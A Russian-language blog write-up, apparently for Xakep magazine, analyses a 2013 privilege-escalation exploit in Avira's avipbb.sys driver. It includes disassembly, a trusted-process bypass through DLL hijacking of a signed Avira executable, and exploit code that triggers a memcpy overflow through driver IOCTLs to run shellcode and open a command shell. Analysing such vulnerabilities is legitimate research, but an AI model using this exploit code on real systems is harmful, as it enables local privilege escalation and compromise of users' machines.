Сегодня начинаю публиковать интересные уязвимости из моих обзоров для Журнала “Хакер”. Начнём с эксплойта для Avira от Ahmad Moghimi aka mall0cat (на момент публикации 19 октября 2013г считался 0day). Антивирус Avira считается очень популярным в нашей стране из-за своей бесплатности. Поэтому подобные уязвимости становятся очень актуальными в будущих пентестах ;-)

Во время установки антивирус так же устанавливает несколько различных драйверов. Среди них выделяется avipbb.sys с большим количество обработок ioctl-запросов. Если загрузить его в IDA, то можно увидеть эту схему обработки по адресу 0x170C8, которая представлена на скриншоте ниже.

Схема обработки ioctl-запросов в драйвере avipbb.sys
После просмотра дизассемблерного листинга видно, что поддерживаются различные управляющие коды, но у нас нет возможности их использовать. В начале этой функции происходит проверка некоторых таких кодов:

.text:000170E3                 mov     edx, 22245Ch
.text:000170E8                 lea     eax, [edx+38h]
.text:000170EB                 lea     ecx, [edx+68h]
.text:000170EE                 cmp     esi, 222458h
.text:000170F4                 jz      short loc_1715E
.text:000170F6                 cmp     esi, edx
.text:000170F8                 jz      short loc_1715E
.text:000170FA                 cmp     esi, 222490h
.text:00017100                 jz      short loc_1715E
.text:00017102                 cmp     esi, eax
.text:00017104                 jz      loc_17571
.text:0001710A                 cmp     esi, 222404h
.text:00017110                 jz      short loc_1715E
.text:00017112                 cmp     esi, 222498h
.text:00017118                 jz      short loc_1715E
.text:0001711A                 cmp     esi, ecx
.text:0001711C                 jz      short loc_1715E
.text:0001711E                 cmp     esi, 2224CCh
.text:00017124                 jz      short loc_1715E

Далее проверяется, является ли текущий поток системным или нет:

.text:00017126                 call    ds:KeGetCurrentThread
.text:0001712C                 push    eax             ; _DWORD
.text:0001712D                 call    dword_2CDB0     ; issystemthread
.text:00017133                 test    al, al
.text:00017135                 jnz     short loc_17153

Затем, проверка правильный ли Proccess Id у текущего процесса и вызывающий код по адресу 0x1144E:

.text:00017137                 call    ds:PsGetCurrentProcessId
.text:0001713D                 push    eax ; current pid
.text:0001713E                 call    sub_1144E
.text:00017143                 test    eax, eax
.text:00017145                 jnz     short loc_17153

Процедура sub_1144E ищет PID (идентификатор процесса) среди доверенных идентификаторов, которые доступны по адресу 0x2E118:

.text:00011456                 xor     bl, bl
.text:00011458                 call    ds:KeEnterCriticalRegion
.text:0001145E                 push    1               ; Ждем
.text:00011460                 mov     edi, offset stru_2E0C0
.text:00011465                 push    edi             ; Resource
.text:00011466                 call    ds:ExAcquireResourceSharedLite
.text:0001146C                 mov     esi, dword_2E118
.text:00011472                 mov     eax, offset dword_2E118 ; Указатель на список с доверенными идентификаторами 

После этой проверки было найдено, что можно через нее можно отправить следующие управляющие коды:

222404h , 222458h , 22245Ch, 222490h, 222498h, 2224CCh

Но для этого нам нужно быть системным потоком или доверенным процессом, отправляющем запросы на обработчик кодов. Путь, где мы являемся системным потоком мы отбрасываем, поэтому нужно узнать, как все таки точно драйвер avipbb.sys определяет, является процесс доверенным.

После проверки упомянутого выше списка доверенных процессов было найдено, что процедура sub_1124c берет параметр PID и ищет его в списке.В случае, если его не существует среди доверенных, то она добавляет новую запись:

.text:00011308                 mov     eax, dword_2E11C
.text:0001130D                 mov     dword ptr [edi], offset dword_2E118
.text:00011313                 mov     [edi+4], eax
.text:00011316                 mov     [eax], edi
.text:00011318                 mov     ecx, esi        ; Resource
.text:0001131A                 mov     dword_2E11C, edi
.text:00011320                 call    ds:ExReleaseResourceLite
.text:00011326                 call    ds:KeLeaveCriticalRegion

То есть процедура sub_1124C отвечает за добавление новых PID в список и вызывается из процедуры sub_1653C

.text:000165C9                 call    sub_17C3C
.text:000165CE                 call    sub_17BD8
.text:000165D3                 call    esi ; PsGetCurrentProcessId
.text:000165D5                 push    eax
.text:000165D6                 call    ds:IoGetCurrentProcess
.text:000165DC                 push    eax
.text:000165DD                 call    sub_1124C
.text:000165E2                 mov     esi, eax

В свою очередь к ней можно обратиться с помощью управляющего кода 0x222458:

.text:00017270                 push    edi             ; 0x222458
.text:00017271                 call    sub_1653C
.text:00017276                 and     dword_2CBD8, 0
.text:0001727D                 jmp     loc_1756B

Таким образом у нас появляется возможность добавить наш процесс в список доверенных для использования управляющих кодов. Увы, но это еще не победа. Так как в процедуре sub_1653C имеется несколько других проверок на доверие к процессу перед добавлением. Проверяется путь, откуда запустился процесс в процедуре sub_163E0:

.text:00016590                 call    esi ; PsGetCurrentProcessId
.text:00016592                 push    eax             ; ReturnLength
.text:00016593                 call    sub_163E0  ; Берем путь исполняемого файла
.text:00016598                 mov     ecx, [ebp+P]

И если его еще как то можно обойти, то проверку на принадлежность к продуктам от Avira уже сложнее:

.text:000165AF                 lea     eax, [ebp+var_8]
.text:000165B2                 push    eax             ; int
.text:000165B3                 push    dword ptr [ecx+4] ; Путь выполнения
.text:000165B6                 call    sub_110B6 ; Правильный ли exe?

Процедура sub_110B6 ведет к выполнению различных подпрограмм, читающих PE-формат файла и пытающихся обнаружить несколько сигнатур в исполнимом файле. После анализа и реверса этой части кода было найдено, что используются несколько хэшей, проходящих проверку:

.rdata:00028578 aAvcs4f3a4200c37o db 'AVCS4F3A4200C37O',0
...
.rdata:0002858C a62f3ab0132favcse db '62F3AB0132FAVCSE',0
...
.rdata:000285A0 aAvsign_0       db 'AVSIGN',0

Эти же хэши были найдены среди exe-файлов самого антивируса, например, avgnt.exe.

После этого можно сделать свой исполняемый файл, проходящий проверку. Или пойти по более легкому пути, что и сделал автор:

  1. Берем копию “правильного” файла, например, avgnt.exe.
  2. Инжектим некоторый свой код
  3. Далее отправляем первый запрос с управляющим кодом 0x222458 для добавления нашего процесса в список доверенных
  4. Теперь мы имеем доступ к полному функционала драйвера.

Чтобы выглядеть менее подозрительным в глазах антивируса, помимо копии исполняемого файла создадим в той же папке свою библиотеку с одним из схожих имен из папки антивируса, например, mfc100u. После запуска exe-файла, он попытается найти нужную библиотеку в своей папке. Ниже представлен полученный набор файлов:

Набор файлов для атаки на Avira
После того как автор смог обойти фильтр, он нашел интересный обработчик управляющего кода 0x222450. Процедура sub_167B4 отвечающая за его обработку в некоторой части своего кода имеет небезопасное копирование, приводящее к нашему старому доброму переполнению:

.text:00016975                 lea     eax, [ecx+eax*2]
.text:00016978                 push    edx             ; size_t
.text:00016979                 push    eax             ; void *
.text:0001697A                 movzx   eax, di
.text:0001697D                 lea     eax, [esi+eax*2+14h]
.text:00016981                 push    eax             ; void *
.text:00016982                 call    memcpy   

Благодаря этой уязвимости в итоге был написан эксплойт для повышения привилегий.

EXPLOIT

Как уже было сказано выше, используется dll-библиотека с “правильным” именем, поэтому за основу эксплойта взята технология dll-hijacking. При атаче атакуемой библиотеки происходит выполнение нашего кода:

case DLL_PROCESS_ATTACH:
{       
    ExitProcess(Driver());

Пройдемся по ключевым пунктам эксплойта. В начале пытаемся получить доступ к уязвимому драйверу:

handle = CreateFileA("\\\\.\\avipbb", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, 
    NULL, OPEN_EXISTING,  FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED, 0);

Далее отправляем управляющий код на драйвер для добавления нашего процесса в список доверенных:

    char inbuffer[0x8] = {0xE0, 0xAB, 0xEB, 0xAC, 0xAF, 0xAB, 0xEB, 0x1F};      
    ...
    DeviceIoControl(handle, 0x222458, inbuffer, sizeof(inbuffer), NULL, NULL, &dwSz, NULL);

Потом мы выделяем память с нашим шеллкодом:

void * memoo = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 0x300);
memset(memoo, 0x41, 0x300);
... 
BYTE * fake = new BYTE[0x190];
memset(fake, 0, 0x190);
*(DWORD*)(fake+0xA8) = (DWORD)shellcode;        
*(DWORD*)((DWORD)memoo+0x114) =  (DWORD)fake;
char inbuffer2[0x118];
memset(inbuffer2, 0x45, 0x118);
*(DWORD*)(inbuffer2+8) = (DWORD)memoo;

После чего создаем большое количество событий для будущего переполнения

    for(i = 0 ; i < 0x100000 ; i++)
        CreateEvent(NULL, FALSE, FALSE, NULL);  
    for(i = 0 ; i < 0x10000 ; i++)
        hArr[i] = CreateEvent(NULL, FALSE, FALSE, NULL);

Теперь еще раз отправим запрос с управляющим кодом 0x222450 и нашим атакующим буфером

DeviceIoControl(handle, 0x222450, inbuffer2, sizeof(inbuffer2), output, sizeof(output), &dwSz, NULL);

После закрытия обработчика запроса можем выполнять интересующие нас команды, например:

CloseHandle(handle);
WinExec("CMD", SW_SHOWNORMAL);

Полный исходник эксплойта можно скачать с сайта автора, там же можно найти оригинальную статью автора и эксплойт для другого АВ. Еще автор эксплойта выложил демонстрационное видео. Тестирование проводилось на Windows XP SP3, помимо этого в шеллкоде указаны offset адреса, специфичные для этой ОС.